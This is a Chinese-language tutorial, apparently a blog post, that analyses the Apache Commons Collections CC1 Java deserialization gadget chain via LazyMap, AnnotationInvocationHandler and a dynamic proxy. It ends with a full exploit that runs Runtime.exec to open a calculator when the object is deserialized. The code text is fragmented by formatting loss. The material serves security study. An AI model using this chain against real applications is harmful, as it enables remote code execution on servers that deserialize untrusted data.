链分析CC链1核心LazyMap类AnnotationInvocationHandler类

完整exp

在看这篇文章前可以看下我的上一篇文章了解下cc链1的核心与环境配置

Java安全

前面我们已经讲过了CC链1的核心ChainedTransformer的transform链并且用到了TransformedMap类中的方法触发了这条链transform的方法但是还有一条链可以触发其transform方法这条链用到了

LazyMap类

这条链用到了大量的反射与代理的知识建议在看本文章前需要提前补充或复习

CC链分析

org.apache.commons.collections.Transformer;

import

org.apache.commons.collections.functors.ChainedTransformer;

import

org.apache.commons.collections.functors.ConstantTransformer;

import

org.apache.commons.collections.functors.InvokerTransformer;

public

一个transformer链包含各类transformer对象预设转化逻辑的转化数组Transformer[]

transformers

ConstantTransformer(Runtime.class),new

new

Object[]{calc})};//transformedChain:

ChainedTransformer类对象传入transformers数组可以按照transformers数组的逻辑执行转化操作ChainedTransformer

transformerChain

ChainedTransformer(transformers);transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}

transformerChain

map.get(key);}经分析得当满足map.containsKey(key)

false时便会执行factory对象的transform方法

接下来我们看下

IllegalArgumentException(Factory

must

对象(cc链1核心),但是该构造方法是受保护的类型并不能直接调用创建对象

decorate

我们先写一个demo试试这里的get方法是否真的可以触发cc链1

package

org.apache.commons.collections.Transformer;

import

org.apache.commons.collections.functors.ChainedTransformer;

import

org.apache.commons.collections.functors.ConstantTransformer;

import

org.apache.commons.collections.functors.InvokerTransformer;

import

org.apache.commons.collections.map.LazyMap;

import

一个transformer链包含各类transformer对象预设转化逻辑的转化数组Transformer[]

transformers

ConstantTransformer(Runtime.class),new

new

Object[]{calc})};ChainedTransformer

chainedTransformer

ChainedTransformer(transformers);HashMapObject,Object

hash

chainedTransformer);decorate.get(key);}

接下来我们寻找如何触发

对象的get方法我们同样右键查看用法可以看到结果有很多为了节约时间我们直接来到AnnotationInvocationHandler类

路径如下

TransformedMap类所触发的cc链1中用到过这里我们用到其

invoke

memberValues.get(member);经分析我们需要满足前两条

语句才会触发

memberValues变量我们查看构造方法发现该方法是私有的我们无法调用

AnnotationInvocationHandler(Class?

extends

java.lang.annotation.Annotation.class)throw

new

memberValues;}然后我们看一下invoke方法所属类的定义如下

class

InvocationHandler代表该类可以作为动态代理的代理处理器只要接口了InvocationHandler接口就必须重写

invoke

代理对象通过反射让其代理处理器为AnnotationInvocationHandler类然后无参调用代理对象的任意方法即可触发invoke方法

在Java的动态代理机制中在执行代理对象中的方法之前会自动执行其代理处理器中的invoke方法

这样触发

方法的问题便解决了接下来我们只需创建一个使用AnnotationInvocationHandler类作为处理器的代理对象并无参调用该代理对象中的方法即可创建代理对象代码如下

Map

Proxy.newProxyInstance(LazyMap.class.getClassLoader(),

new

instance);接下来便是要解决——如何无参调用proxyInstance代理对象中的方法

这里实际上只要是找到无参调用对象中方法的地方即可不限制在哪个类但终点要为readObject方法

然后我们就近在这个类中寻找一个无参调用memberValues中方法的方法我们往下找到了readObject方法其所用到的关键代码还是和TransformedMap类所触发的cc链1中一样为下面的for循环

for

(!(memberType.isInstance(value)

||value

AnnotationTypeMismatchExceptionProxy(value.getClass()

value

]).setMember(annotationType.members().get(name)));}}}我们发现for循环中的该语句可实现对memberValues变量中的方法实现无参调用

for

memberValues.entrySet())但是我们发现AnnotationInvocationHandler类是私有的我们可以通过反射获取构造方法进而初始化然后构造函数的memberValue变量值设置为我们的代理对象即可

整理下思路

我们先用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyInstance然后又通过反射创建了一个AnnotationInvocationHandler对象并将成员属性设置为代理对象proxyInstance目的是为了在AnnotationInvocationHandler对象中的readObject方法里面对代理对象proxyInstancememberValues变量实现无参调用从而触发代理处理器AnnotationInvocationHandler类中的invoke方法进而触发get方法最后触发transform方法从而实现cc链1

完整exp

org.apache.commons.collections.Transformer;

import

org.apache.commons.collections.functors.ChainedTransformer;

import

org.apache.commons.collections.functors.ConstantTransformer;

import

org.apache.commons.collections.functors.InvokerTransformer;

import

org.apache.commons.collections.map.LazyMap;

import

java.lang.reflect.InvocationHandler;

import

java.lang.reflect.InvocationTargetException;

import

{//定义一系列Transformer对象,组成一个变换链Transformer[]

transformers

Transformer[]{//返回Runtime.classnew

ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new

new

Object[]{getRuntime,null}),//通过反射调用invoke()方法new

new

null}),//通过反射调用exec()方法启动计算器new

new

Object[]{calc})};//将多个Transformer对象组合成一个链ChainedTransformer

chainedTransformer

ChainedTransformer(transformers);HashMapObject,Object

hash

HashMap();//使用chainedTransformer装饰HashMap生成新的MapMap

decorate

chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class

Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor

constructor

c.getDeclaredConstructor(Class.class,

Map.class);//设置构造方法为可访问的constructor.setAccessible(true);//通过反射创建

Override

constructor.newInstance(Override.class,

decorate);//创建Map接口的代理对象proxyInstance,并设置其调用处理器为instanceMap

proxyInstance

Proxy.newProxyInstance(LazyMap.class.getClassLoader(),

new

constructor.newInstance(Override.class,

proxyInstance);serialize(o);unserialize(1.bin);}public

static

ObjectOutputStream(Files.newOutputStream(Paths.get(1.bin)));out.writeObject(obj);}public

static

ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}}运行成功弹出计算器